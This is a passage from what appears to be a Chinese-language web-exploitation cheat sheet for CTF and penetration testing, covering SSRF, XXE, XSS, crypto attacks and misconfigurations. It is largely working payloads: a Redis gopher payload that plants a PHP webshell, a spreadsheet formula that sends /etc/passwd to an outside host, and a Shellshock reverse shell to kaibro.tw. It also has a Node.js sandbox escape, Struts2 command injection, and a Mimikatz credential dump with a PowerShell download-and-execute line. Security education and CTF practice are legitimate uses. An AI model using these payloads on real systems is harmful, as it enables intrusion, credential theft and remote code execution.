::ffff:127.0.0.1 ::1%1 127.12.34.56 (127.0.0.1/8) 127.0.0.1.xip.io http://2130706433 (decimal) http://0x7f000001 http://017700000001 http://0x7f.0x0.0x0.0x1 http://0177.0.0.1 http://0177.01.01.01 http://0x7f.1 http://[::] ``` ## Bypass using Ⓐ Ⓑ Ⓒ Ⓓ - `http://ⓀⒶⒾⒷⓇⓄ.ⓉⓌ` - `http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ` ## 內網IP - `10.0.0.0/8` - `172.16.0.0/12` - `192.168.0.0/16` ## XSPA - port scan - `127.0.0.1:80` => OK - `127.0.0.1:87` => Timeout - `127.0.0.1:9487` => Timeout ## 302 Redirect Bypass - 用來繞過protocol限制 - 第一次SSRF，網站有做檢查、過濾 - 302跳轉做第二次SSRF沒有檢查 ## 本地利用 - file protocol - `file:///etc/passwd` - `file:///proc/self/cmdline` - 看他在跑啥 - `file:///proc/self/exe` - dump binary - `file:///proc/self/environ` - 讀環境變數 - `curl file://google.com/etc/passwd` - 新版已修掉 - 實測libcurl 7.47可work - Java原生可列目錄 - Perl/Ruby open Command Injection - Libreoffice CVE-2018-6871 - 可以使用`WEBSERVICE`讀本地檔案，e.g.`/etc/passwd` - 讀出來可以用http往外傳 - `=COM.MICROSOFT.WEBSERVICE("http://kaibro.tw/"&COM.MICROSOFT.WEBSERVICE("/etc/passwd"))` - e.g. DCTF 2018 final, [FBCTF 2019](https://github.com/w181496/CTF/blob/master/fbctf2019/pdfme/README_en.md) - Example Payload: [Link](https://github.com/w181496/CTF/blob/master/fbctf2019/pdfme/flag.fods) ## 遠程利用 - Gopher - 可偽造任意TCP，hen蚌 - `gopher://127.0.0.1:5278/xGG%0d%0aININDER` - 常見例子 - Struts2 - S2-016 - `action:`、`redirect:`、`redirectAction:` - `index.do?redirect:${new java.lang.ProcessBuilder('id').start()}` - ElasticSearch - default port: `9200` - Redis - default port: `6379` - 用SAVE寫shell ``` FLUSHALL SET myshell "" CONFIG SET DIR /www CONFIG SET DBFILENAME shell.php SAVE QUIT ``` - URLencoded payload: `gopher://127.0.0.1:6379/_FLUSHALL%0D%0ASET%20myshell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0D%0ACONFIG%20SET%20DIR%20%2fwww%2f%0D%0ACONFIG%20SET%20DBFILENAME%20shell.php%0D%0ASAVE%0D%0AQUIT` - FastCGI - default port: 9000 - example - Discuz Pwn - 302.php: `` - visit: `/forum.php?mod=ajax&action=downremoteimg&message=[img]http://kaibro.tw/302.php?.jpg[/img]` - MySQL - 無密碼認證可以SSRF - MySQL Client與Server交互主要分兩階段 - Connection Phase - Command Phase - `gopher://127.0.0.1:3306/_` - Tool: https://github.com/undefinedd/extract0r- - Tomcat - 透過 tomcat manager 部署 war - 要先有帳密，可以從 `tomcat-users.xml` 讀，或是踹預設密碼 - Tool: https://github.com/pimps/gopher-tomcat-deployer - e.g. [CTFZone 2019 qual - Catcontrol](https://github.com/w181496/CTF/tree/master/CTFZone-2019-qual/Catcontrol) - Docker - Remote api未授權訪問 - 開一個container，掛載/root/，寫ssh key - 寫crontab彈shell - `docker -H tcp://ip xxxx` - ImageMagick - CVE-2016-3718 - 可以發送HTTP或FTP request - payload: ssrf.mvg ``` push graphic-context viewbox 0 0 640 480 fill 'url(http://example.com/)' pop graphic-context ``` - `$ convert ssrf.mvg out.png` ## CRLF injection ### SMTP SECCON 2017 SqlSRF: `127.0.0.1 %0D%0AHELO sqlsrf.pwn.seccon.jp%0D%0AMAIL FROM%3A %3Ckaibrotw%40gmail.com%3E%0D%0ARCPT TO%3A %3Croot%40localhost%3E%0D%0ADATA%0D%0ASubject%3A give me flag%0D%0Agive me flag%0D%0A.%0D%0AQUIT%0D%0A:25/` ## FingerPrint - dict ``` dict://evil.com:5566 $ nc -vl 5566 Listening on [0.0.0.0] (family 0, port 5278) Connection from [x.x.x.x] port 5566 [tcp/*] accepted (family 2, sport 40790) CLIENT libcurl 7.35.0 -> libcurl version ``` - sftp ``` sftp://evil.com:5566 $ nc -vl 5566 Listening on [0.0.0.0] (family 0, port 5278) Connection from [x.x.x.x] port 5278 [tcp/*] accepted (family 2, sport 40810) SSH-2.0-libssh2_1.4.2 -> ssh version ``` - Content-Length - 送超大Content-length - 連線hang住判斷是否為HTTP Service ## UDP - tftp - `tftp://evil.com:5566/TEST` - syslog --- SSRF Bible: https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit Testing Payload: https://github.com/cujanovic/SSRF-Testing # XXE ## 內部實體 ```xml ]> ¶m; ``` ## 外部實體 - `libxml2.9.0`以後，預設不解析外部實體 - `simplexml_load_file()`舊版本中預設解析實體，但新版要指定第三個參數`LIBXML_NOENT` - `SimpleXMLElement` is a class in PHP - http://php.net/manual/en/class.simplexmlelement.php ```xml ]> &xxe; ``` ```xml ]> &xxe; ``` ### XXE on Windows ```xml ]> &xxe; ``` ## 參數實體 ```xml %remote; ]> &b; ``` xxe.dtd: `` ## Out of Band (OOB) XXE - Blind 無回顯 ```xml %remote; %all; %send; ]> ``` xxe.dtd: ```xml "> ``` ## DoS - Billion Laugh Attack ```xml ]> &a4; ``` ## 串Phar反序列化 ```xml ]> &xxe; ``` - Example: [MidnightSun CTF - Rubenscube](https://github.com/w181496/CTF/tree/master/midnightsun2019/Rubenscube) ## Error-based XXE ```xml "> %eval; %error; '> %NUMBER; ]> a ``` - Example: [Google CTF 2019 Qual - bnv](https://github.com/w181496/CTF/blob/master/googlectf-2019-qual/bnv/README_en.md) ## 其它 - DOCX - XLSX - PPTX - PDF - https://github.com/BuffaloWill/oxml_xxe # Frontend ## XSS ### Basic Payload - `` - `` - `` - `g` - `` - `` - ... ### Testing - `` - `'">` - `` - `'">` - `' onmouseover=alert(1) x='` - `" onmouseover=alert(1) x="` - ``` `onmouseover=alert(1) x=` ``` - `javascript:alert(1)//` - .... ### 繞過 - `//`(javascript註解)被過濾時，可以利用算數運算符代替 - `xss` - HTML特性 - 不分大小寫 - `` - 因為``，HTML Entities會被解析 - 去掉``會失敗，`

可控內容

``` 插入` ``` - Script Gadget - https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf - is an **existing** JS code on the page that may be used to bypass mitigations - Bypassing CSP strict-dynamic via Bootstrap - `

` - Bypassing sanitizers via jQuery Mobile - `
` - Bypassing NoScript via Closure (DOM clobbering) - `` - Bypassing ModSecurity CRS via Dojo Toolkit - `
` - Bypassing CSP unsafe-eval via underscore templates - `
<% alert(1) %>
` - 0CTF 2018 - h4xors.club2 - google analytics ea - ea is used to log actions and can contain arbitrary string - Google CTF 2018 - gcalc2 ### Online Encoding / Decoding - http://monyer.com/demo/monyerjs/ ### JSFuck - http://www.jsfuck.com/ ### aaencode / aadecode - http://utf-8.jp/public/aaencode.html - https://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html ## RPO - http://example.com/a%2findex.php - 瀏覽器會把`a%2findex.php`當成一個檔案 - Web Server則會正常解析成`a/index.php` - 所以當使用**相對路徑**載入css時，就可以透過這種方式讓瀏覽器解析到其他層目錄下的檔案 - 如果該檔案內容可控，則有機會XSS - 舉例： - `/test.php`中有`` - 另有`/1/index.php`給`?query=`參數，會直接輸出該參數內容 - 訪問`/1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php`就會讓背景變紅色 - Server: `/test.php` - Browser: `/1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php` - CSS會載入`/1/?query={}*{background-color:red}/../../1/` - CSS語法容錯率很高 ## CSS Injection - CSS可控時，可以Leak Information - Example: - leak `` - `input[name=csrf][value^="2"]{background: url(http://kaibro.tw/2)}` - `input[name=csrf][value^="2e"]{background: url(http://kaibro.tw/2e)}` - ... - [SECCON CTF 2018 - GhostKingdom](https://github.com/w181496/CTF/tree/master/seccon2018-qual/GhostKingdom) ## XS-Leaks - Cross-Site Browser Side channel attack - [xsleaks wiki](https://github.com/xsleaks/xsleaks/wiki/Browser-Side-Channels) ### Frame count - 不同狀態有不同數量的frame - 用 `window.frames.length` 來判斷 - 狀態A => frame count = x - 狀態B => frame count = y - x != y - e.g. [Facebook CTF - Secret Note Keeper](https://github.com/w181496/CTF/tree/master/fbctf2019/secret_note_keeper) - 找到結果 => frame count >= 1 - 沒找到 => frame count = 0 ### Timing - 不同狀態有不同回應時間 - Time(有結果) > Time(沒結果) - 有結果時，會需要載入比較多東西 ### XSS Filter - iframe正常訪問，會觸發一次onload事件 - 在iframe.src尾，加上`#`做請求，正常不會再觸發onload事件 - 但如果原本頁面被filter block，則會有第二次onload - 第二次請求變成`chrome-error://chromewebdata/#` - 可以判斷頁面狀態 - 正常 => 1次onload - 被Blocked => 2次onload - 也能用`history.length`判斷 - e.g. 35C3 - filemanager ### HTTP Cache - 清空目標 Cache - 送 POST 請求 - 查詢內容 - `` - 檢查是否 Cache 該內容 - Referrer 設超長，然後訪問該資源 - 有 cache => 顯示資源 - 沒 cache => 抓不到資源 # 密碼學 ## PRNG - php 7.1.0後 `rand()`和`srand()`已經等同`mt_rand()`和`mt_srand()` - 測試結果：https://3v4l.org/PIUEo - php > 4.2.0 會自動對`srand()`和`mt_srand()`播種 - 只進行一次seed，不會每次`rand()`都seed - 可以通過已知的random結果，去推算隨機數種子，然後就可以推算整個隨機數序列 - 實際應用上可能會碰到連上的不是同個process，可以用`Keep-Alive `來確保連上同個php process(只會seed一次) - 7.1以前`rand()`使用libc random()，其核心為：` state[i] = state[i-3] + state[i-31]` - 所以只要有31個連續隨機數就能預測接下來的隨機數 - 後來`rand()` alias成`mt_rand()`，採用的是`Mersenne Twister`算法 - Example: HITCON 2015 - Giraffe’s Coffee ## ECB mode ### Cut and Paste Attack - 每個Block加密方式都一樣，所以可以把Block隨意排列 - 舉例： `user=kaibro;role=user` - 假設Block長度為8 - 構造一下user: (`|`用來區隔Block) - `user=aaa|admin;ro|le=user` - `user=aaa|aa;role=|user` - 排列一下：(上面每塊加密後的Block都已知) - `user=aaa|aa;role=|admin;ro` - Example: AIS3 2017 pre-exam ### Encryption Oracle Attack - `ECB(K, A + B + C)`的運算結果可知 - B可控 - K, A, C未知 - C的內容可以透過以下方法爆出來： - 找出最小的長度L - 使得將B改成L個a，該段pattern剛好重複兩次 - `...bbbb bbaa aaaa aaaa cccc ...` - `...???? ???? 5678 5678 ???? ...` - 改成L-1個a，可得到`ECB(K, "aa...a" + C[0])`這個Block的內容 - C[0]可爆破求得，後面也依此類推 - 常見發生場景：Cookie ## CBC mode ### Bit Flipping Attack - 假設IV為A、中間值為B (Block Decrypt後結果)、明文為C - CBC mode解密時，`A XOR B = C` - 若要使輸出明文變`X` - 修改A為`A XOR C XOR X` - 則原本式子變成`(A XOR C XOR X) XOR B = X` ### Padding Oracle Attack - `PKCS#7` - Padding方式：不足x個Byte，就補x個x - 例如：Block長度8 - `AA AA AA AA AA AA AA 01` - `AA AA AA AA AA AA 02 02` - `AA AA AA AA AA 03 03 03` - ... - `08 08 08 08 08 08 08 08` - 在常見情況下，如果解密出來發現Padding是爛的，會噴Exception或Error - 例如：HTTP 500 Internal Server Error - 須注意以下這類情況，不會噴錯： - `AA AA AA AA AA AA 01 01` - `AA AA 02 02 02 02 02 02` - 原理： - CBC mode下，前一塊密文會當作當前這塊的IV，做XOR - 如果構造`A||B`去解密 (A, B是密文Block) - 此時，A會被當作B的IV，B會被解成`D(B) XOR A` - 可以透過調整A，使得Padding變合法，就可以得到`D(B)`的值 - 例如：要解最後1 Byte - 想辦法讓最後解出來變成`01`結尾 - 運氣不好時，可能剛好碰到`02 02`結尾，可以調整一下A倒數第2 Byte - `D(B)[-1] XOR A[-1] = 01` - `D(B)[-1] = A[-1] XOR 01` - 有最後1 Byte就可以依此類推，調整倒數第2 Byte - `D(B) XOR C`就能得到明文 (C為前一塊真正的密文) ## Length Extension Attack - 很多hash算法都可能存在此攻擊，例如`md5`, `sha1`, `sha256`... - 主要是因為他們都使用Merkle-Damgard hash construction - 會依照64 Byte分組，不足會padding - 1 byte的`0x80`+一堆`0x00`+8 bytes的`長度` - IV是寫死的，且每一組輸出結果會當下一組的輸入 - 攻擊條件： (這裏md5換成sha1, sha256...也通用) - 已知`md5(secret+message)` - 已知`secret長度` - 已知`message內容` - 符合三個條件就能構造`md5(secret+message+padding+任意字串)` - 工具 - hashpump - 基本用法： 1. 輸入`md5(secret+message)`的值 2. 輸入`message`的值 3. 輸入`secert長度` 4. 輸入要加在後面的字串 5. 最後會把`md5(secret+message+padding+任意字串)`和`message+padding+任意字串`噴給你 # 其它 - Information leak - .git / .svn - robots.txt - /.well-known - .DS_Store - .htaccess - .pyc - package.json - server-status - crossdomain.xml - admin/ manager/ login/ backup/ wp-login/ phpMyAdmin/ - xxx.php.bak / www.tar.gz / .xxx.php.swp / xxx.php~ / xxx.phps - /WEB-INF/web.xml - 文件解析漏洞 - Apache - shell.php.ggininder - shell.php%0a - httpd 2.4.0 to 2.4.29 - CVE-2017-15715 - IIS - IIS < 7 - a.asp/user.jpg - user.asp;aa.jpg - Nginx - nginx < 8.03 - `cgi.fix_pathinfo=1` - Fast-CGI開啟狀況下 - kaibro.jpg: `');?>` - 訪問`kaibro.jpg/.php`生成shell.php - AWS常見漏洞 - S3 bucket權限配置錯誤 - nslookup判斷 - `nslookup 87.87.87.87` - `s3-website-us-west-2.amazonaws.com.` - 確認bucket - 訪問`bucketname.s3.amazonaws.com` - 成功會返回bucket XML資訊 - awscli工具 - 列目錄 `aws s3 ls s3://bucketname/ --region regionname` - 下載 `aws sync s3://bucketname/ localdir --region regionname` - metadata - http://169.254.169.254/latest/meta-data/ - Tool - https://andresriancho.github.io/nimbostratus/ - 常見Port服務 - http://packetlife.net/media/library/23/common_ports.pdf - `php -i | grep "Loaded Configuration File"` - 列出php.ini路徑 - `curl -i -X OPTIONS 'http://evil.com/'` - ShellShock - `() { :; }; echo vulnerable` - `() { :a; }; /bin/cat /etc/passwd` - `() { :; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'` - X-forwarded-for偽造來源IP - DNS Zone Transfer - `dig @1.2.3.4 abc.com axfr` - DNS Server: `1.2.3.4` - Test Domain: `abc.com` - IIS 短檔名列舉 - Windows 8.3 格式: `administrator` 可以簡寫成 `admini~1` - 原理：短檔名存在或不存在，伺服器回應內容不同 - Tool: https://github.com/irsdl/IIS-ShortName-Scanner - `java -jar iis_shortname_scanner.jar 2 20 http://example.com/folder/` - NodeJS unicode failure - 內部使用UCS-2編碼 - `ＮＮ` => `..` - `Ｎ` 即 `\xff\x2e` - 轉型時捨棄第一個Byte - 特殊的CRLF Injection繞過 - `%E5%98%8A` - 原始的Unicode碼為`U+560A` - raw bytes: `0x56`, `0x0A` - MySQL utf8 v.s. utf8mb4 - MySQL utf8編碼只支援3 bytes - 若將4 bytes的utf8mb4插入utf8中，在non strict模式下會被截斷 - CVE-2015-3438 WordPress Cross-Site Scripting Vulnerability - Nginx internal繞過 - `X-Accel-Redirect` - [Document](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/) - Example: - Olympic CTF 2014 - CURLing - [MidnightSun CTF 2019 - bigspin](https://balsn.tw/ctf_writeup/20190406-midnightsunctf/#bigspin) - Nginx目錄穿越漏洞 - 常見於Nginx做Reverse Proxy的狀況 ``` location /files { alias /home/ } ``` - 因為`/files`沒有加上結尾`/`，而`/home/`有 - 所以`/files../`可以訪問上層目錄 - Nginx add_header - 預設當 repsponse 是 200, 201, 204, 206, 301, 302, 303, 304, 307, or 308 時，`add_header`才會設定 header - e.g. [Codegate 2020 - CSP](https://balsn.tw/ctf_writeup/20200208-codegatectf2020quals/#csp) - Javascript大小寫特性 - `"ı".toUpperCase() == 'I'` - `"ſ".toUpperCase() == 'S'` - `"K".toLowerCase() == 'k'` - [Reference](https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html) - Node.js目錄穿越漏洞 - CVE-2017-14849 - 影響: 8.5.0版 - `/static/../../../foo/../../../../etc/passwd` - Node.js vm escape - `const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('whoami').toString()` - CONFidence CTF 2020 - TempleJS - Only allow ```/^[a-zA-Z0-9 ${}`]+$/g``` - ``` Function`a${`return constructor`}{constructor}` `${constructor}` `return flag` `` ``` - Apache Tomcat Session操縱漏洞 - 預設session範例頁面`/examples/servlets /servlet/SessionExample` - 可以直接對Session寫入 - polyglot image+.htaccess - XBM格式有定義在`exif_imagetype()`中 - 符合`.htaccess`格式 - Insomnihack CTF ``` #define gg_width 1337 #define gg_height 1337 AddType application/x-httpd-php .asp ``` - AutoBinding / Mass Assignment - [Mass_Assignment_Cheat_Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Mass_Assignment_Cheat_Sheet.md) - Spring MVC - `@ModelAttribute` - 會將Client端傳來的參數(GET/POST)綁定到指定Object中，並自動將此Object加到ModelMap中 - Example ```java @RequestMapping(value = "/home", method = RequestMethod.GET) public String home(@ModelAttribute User user, Model model) { if (showSecret){ model.addAttribute("firstSecret", firstSecret); } return "home"; } ``` - Example 2: - [justiceleague](https://github.com/GrrrDog/ZeroNights-HackQuest-2016) - Example 3: [VolgaCTF 2019 - shop](https://github.com/w181496/CTF/tree/master/volgactf2019_quals/shop) - tcpdump - `-i` 指定網卡，不指定則監控所有網卡 - `-s` 默認只抓96bytes，可以-s指定更大數值 - `-w` 指定輸出檔 - `host` 指定主機(ip or domain) - `dst`, `src` 來源或目的端 - `port`指定端口 - `tcp`, `udp`, `icmp` 指定協議 - example - 來源192.168.1.34且目的端口為80 - `tcpdump -i eth0 src 192.168.1.34 and dst port 80` - 來源192.168.1.34且目的端口是22或3389 - `tcpdump -i eth0 'src 192.168.1.34 and (dst port 22 or 3389)'` - 保存檔案，可以後續用wireshark分析 - `tcpdump -i eth0 src kaibro.tw -w file.cap` # Tool & Online Website ## Information gathering - http://pentest-tools.com/ - https://www.shodan.io/ - https://www.zoomeye.org/ - https://censys.io - https://crt.sh/ - http://webscan.cc/ - https://x.threatbook.cn/ - https://dnsdumpster.com/ - https://www.domainiq.com/reverse_whois - https://www.yougetsignal.com/tools/web-sites-on-web-server/ - https://www.robtex.com/dns-lookup/ - https://phpinfo.me/bing.php - https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project - https://github.com/laramies/theHarvester - https://github.com/drwetter/testssl.sh - https://github.com/urbanadventurer/WhatWeb - https://buckets.grayhatwarfare.com/ ## Hash Crack - http://cmd5.com - https://somd5.com/ - https://crackstation.net/ - https://hashkiller.co.uk/ ## 其它 - https://3v4l.org/ - php eval - https://github.com/denny0223/scrabble - git - https://github.com/lijiejie/ds_store_exp - .DS_Store - https://github.com/kost/dvcs-ripper - git / svn / hg / cvs ... - http://www.factordb.com/ - unicode converter - https://www.branah.com/unicode-converter - PHP混淆 / 加密 - http://enphp.djunny.com/ - http://www.phpjm.net/ - https://github.com/PowerShellMafia/PowerSploit - https://github.com/swisskyrepo/PayloadsAllTheThings/ - http://xssor.io - https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt - XSS Payloads - DNSLog - http://ceye.io - https://www.t00ls.net/dnslog.html - http://dnsbin.zhack.ca/ - http://requestbin.net/dns - DNS rebinding - rebind.network - ``` # butit still works A.192.168.1.1.forever.rebind.network #alternate between localhost and 10.0.0.1 forever A.127.0.0.1.1time.10.0.0.1.1time.repeat.rebind.network #first respond with 192.168.1.1 then 192.168.1.2. Now respond 192.168.1.3forever. A.192.168.1.1.1time.192.168.1.2.2times.192.168.1.3.forever.rebind.network #respond with 52.23.194.42 the first time, then whatever `whonow--default-address` # isset to forever after that (default: 127.0.0.1) A.52.23.194.42.1time.rebind.network ``` - rbndr.us - `36573657.7f000001.rbndr.us` - https://r12a.github.io/apps/encodings/ - Encoding converter - http://tool.leavesongs.com/ - Mimikatz - `mimikatz.exe privilege::debug sekurlsa::logonpasswords full exit >> log.txt` - powershell 無文件: `powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"` - WASM - https://wasdk.github.io/WasmFiddle/ - https://webassembly.studio/ - https://github.com/WebAssembly/wabt ---- # Contributing Welcome to open Pull Request OR [![Buy me a coffee](https://www.buymeacoffee.com/assets/img/custom_images/black_img.png)](https://www.buymeacoffee.com/b4wKcIZ)